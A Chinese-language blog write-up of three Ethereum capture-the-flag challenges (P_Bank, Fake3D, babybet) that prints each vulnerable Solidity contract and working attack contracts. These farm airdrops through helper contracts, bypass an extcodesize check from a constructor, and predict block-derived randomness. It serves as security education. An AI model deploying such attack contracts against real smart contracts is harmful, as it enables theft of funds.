抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

CoinFlip

1. question

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
pragma solidity ^0.4.24;

contract P_Bank
{
mapping (address => uint) public balances;

uint public MinDeposit = 0.1 ether;

Log TransferLog;

event FLAG(string b64email, string slogan);

constructor(address _log) public {
TransferLog = Log(_log);
}

function Ap() public {
if(balances[msg.sender] == 0) {
balances[msg.sender]+=1 ether;
}
}

function Transfer(address to, uint val) public {
if(val > balances[msg.sender]) {
revert();
}
balances[to]+=val;
balances[msg.sender]-=val;
}

function CaptureTheFlag(string b64email) public returns(bool){
require (balances[msg.sender] > 500 ether);
emit FLAG(b64email, "Congratulations to capture the flag!");
}


function Deposit()
public
payable
{
if(msg.value > MinDeposit)
{
balances[msg.sender]+= msg.value;
TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
}
}

function CashOut(uint _am) public
{
if(_am<=balances[msg.sender])
{

if(msg.sender.call.value(_am)())
{
balances[msg.sender]-=_am;
TransferLog.AddMessage(msg.sender,_am,"CashOut");
}
}
}

function() public payable{}

}

contract Log
{

struct Message
{
address Sender;
string Data;
uint Val;
uint Time;
}

string err = "CashOut";
Message[] public History;

Message LastMsg;

function AddMessage(address _adr,uint _val,string _data)
public
{
LastMsg.Sender = _adr;
LastMsg.Time = now;
LastMsg.Val = _val;
LastMsg.Data = _data;
History.push(LastMsg);
}
}

📌 目标:成功调用CaptureTheFlag()

2. analysis

比较简单,注意到空投函数AP(),其要求调用者的余额balance小于1ether即可调用,但是如果某人拥有两个账户,那便可以无限取钱了。

3. solve

攻击合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
contract Helper {

address hacker;
P_Bank bank;

constructor(address _bank) public {
hacker = msg.sender;
bank = P_Bank(_bank);
}

function attack() public {
bank.Ap();
bank.Transfer(hacker, 1 ether);
}
}

contract Hacker {

P_Bank bank;
Helper helper;

constructor(address _bank) public {
bank = P_Bank(_bank);
helper = new Helper(_bank);
}

function attack() public {

for (uint i; i < 501; i++) {
helper.attack();
}
// CaptureTheFlag() 成功执行之后,默认返回false
require(!bank.CaptureTheFlag(""), "you don't capture...");
}
}

📌 注意:调用Hacker.attack()时,需要将gaslimit调高

攻击成功:

image-20230822142247664

Fake3d

1. question

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
/**
*Submitted for verification at Etherscan.io on 2018-11-27
*/

pragma solidity ^0.4.24;

/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {

/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}

uint256 c = a * b;
require(c / a == b);

return c;
}

/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold

return c;
}

/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;

return c;
}

/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);

return c;
}

/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}

contract WinnerList{
address owner;
struct Richman{
address who;
uint balance;
}

function note(address _addr, uint _value) public{
Richman rm;
rm.who = _addr;
rm.balance = _value;
}

}

contract Fake3D {
using SafeMath for *;
mapping(address => uint256) public balance;
uint public totalSupply = 10**18;
WinnerList wlist;

event FLAG(string b64email, string slogan);

constructor(address _addr) public{
wlist = WinnerList(_addr);
}

modifier turingTest() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}

function transfer(address _to, uint256 _amount) public{
require(balance[msg.sender] >= _amount);
balance[msg.sender] = balance[msg.sender].sub(_amount);
balance[_to] = balance[_to].add(_amount);
}


function airDrop() public turingTest returns (bool) {
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));

if((seed - ((seed / 1000) * 1000)) < 288){
balance[tx.origin] = balance[tx.origin].add(10);
totalSupply = totalSupply.sub(10);
return true;
}
else
return false;
}

function CaptureTheFlag(string b64email) public{
require (balance[msg.sender] > 8888);
wlist.note(msg.sender,balance[msg.sender]);
emit FLAG(b64email, "Congratulations to capture the flag?");
}

}

📌 目标:成功调用CaptureTheFlag()

2. analysis

这题嘛,思路不难,就是麻烦。

要想成功调用CaptureTheFlag(),调用者的balance必须大于 8888,而能获取balance函数为airDrop(),但是其被一个修饰器限制。

修饰器:

1
2
3
4
5
6
7
modifier turingTest() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}

修饰器规定,调用者地址的代码大小为0,即要求调用者为EOA账户,但是也不全是,还有一种操作也可以让其代码大小为0,在构造函数调用被此修饰器的函数时,合约还在初始化,通过extcodesize获取到的代码大小为0,这样一来就有路子了。

再分析airDrop():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function airDrop() public turingTest returns (bool) {
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));

if((seed - ((seed / 1000) * 1000)) < 288){
balance[tx.origin] = balance[tx.origin].add(10);
totalSupply = totalSupply.sub(10);
return true;
}
else
return false;
}

根据区块链信息,计算出种子,当然,这些全局变量block.timestamp,block.difficulty,block.coinbase,block.gaslimit,now,再同一个区块中他们的值是相同的,也就意味着,可以事先计算出种子seed,即在同一个函数中,可以先计算出种子,再调用此函数,其生成的seed相同。

由于gas不足引起的错误的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
contract Hacker {

using SafeMath for *;

Fake3D fake;

constructor(address _fake) public {

fake = Fake3D(_fake);

uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(address(this))))) / (now)).add
(block.number)
)));

require((seed - ((seed / 1000) * 1000)) < 288, "the seed bigger than 288, please try again...");

for (uint i; i < 889; i++) {
fake.airDrop();
}
fake.CaptureTheFlag("");
}
}

image-20230822152316039

尽管,我已经将gaslimit设置到了:3000000000

按理来说,按照这个思路,攻击合约已经出来了,但是,由于涉及的balance数目太大,在单笔交易中无法正常执行,所以只能通过多次部署合约获取空投,又因为空投集中发放给tx.origin,到该账户的balance大于8888时,需要tx.origin亲自去调用CaptureTheFlag()

3. solve

一直部署该合约,直到成功部署十次为止

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
contract Hacker {

using SafeMath for *;

Fake3D fake;

constructor(address _fake) public {

fake = Fake3D(_fake);

uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(address(this))))) / (now)).add
(block.number)
)));

require((seed - ((seed / 1000) * 1000)) < 288, "the seed bigger than 288, please try again...");

for (uint i; i < 90; i++) {
fake.airDrop();
}
}
}

如图:

image-20230822154729008

其实当初的做法还是有点繁琐了,也不知道是不是科技进步了其实是可以一次性完成的,只要成功部署如下合约即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
contract Fake3DHacker {

using SafeMath for *;
Fake3D fake;

constructor(address _fake) public {

fake = Fake3D(_fake);

uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));

require((seed - ((seed / 1000) * 1000)) < 288, "the result of the calculation is not less than 288");


for(uint i; i < 889; i++) {
fake.airDrop();
}
}
}

babybet

1. question

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
pragma solidity ^0.4.23;

contract babybet {
mapping(address => uint) public balance;
mapping(address => uint) public status;
address owner;

//Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);

constructor()public{
owner = msg.sender;
balance[msg.sender]=1000000;
}

//pay for flag
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 1000000);
if (msg.sender!=owner){
balance[msg.sender]=0;}
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}

modifier onlyOwner(){
require(msg.sender == owner);
_;
}

//get_profit
function profit(){
require(status[msg.sender]==0);
balance[msg.sender]+=10;
status[msg.sender]=1;
}

//add money
function () payable{
balance[msg.sender]+=msg.value/1000000000000000000;
}

//bet
function bet(uint num) {
require(balance[msg.sender]>=10);
require(status[msg.sender]<2);
balance[msg.sender]-=10;
uint256 seed = uint256(blockhash(block.number-1));
uint rand = seed % 3;
if (rand == num) {
balance[msg.sender]+=1000;
}
status[msg.sender]=2;
}

//transfer
function transferbalance(address to,uint amount){
require(balance[msg.sender]>=amount);
balance[msg.sender]-=amount;
balance[to]+=amount;
}
}

📌 目标:成功调用payforflag()

2. analysis

思路大差不差,通过两个合约代码,生成多个Helper帮助Hacker积攒balance

又因为rand是可控的,所以可以提前计算随机数,再根据随机数进行赌博,,,所以啊不要赌博,十赌九输。

3. solve

攻击方式,部署Hacker,成功调用2次attack(),再调用pwn()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
contract BabyBetHacker {

babybet bet;

constructor(address _bet) public {
bet = babybet(_bet);
}

function attack() public {

uint256 seed = uint256(blockhash(block.number-1));
uint rand = seed % 3;

for (uint i; i < 500; i++) {
new BabyBetHelper(address(bet), rand);
}
}

function pwn() public {
bet.payforflag("BYYQ1030Hacker", "BYYQ");
}
}

contract BabyBetHelper {

babybet bet;

constructor(address _bet, uint answer) public {
bet = babybet(_bet);
bet.profit();
bet.bet(answer);
bet.transferbalance(msg.sender, 1000);
}

}

image-20230822161340458

总结

区块链上的一些信息是具有共性的,比如在同一个函数中调用了较多函数,且这是被调用函数中都涉及到了一些区块信息,比如block.number,now等,但是只有在一个区块中这些值都是相等的,意味着某些随机数并不随机。。。

评论



政策 · 统计 | 本站使用 Volantis 主题设计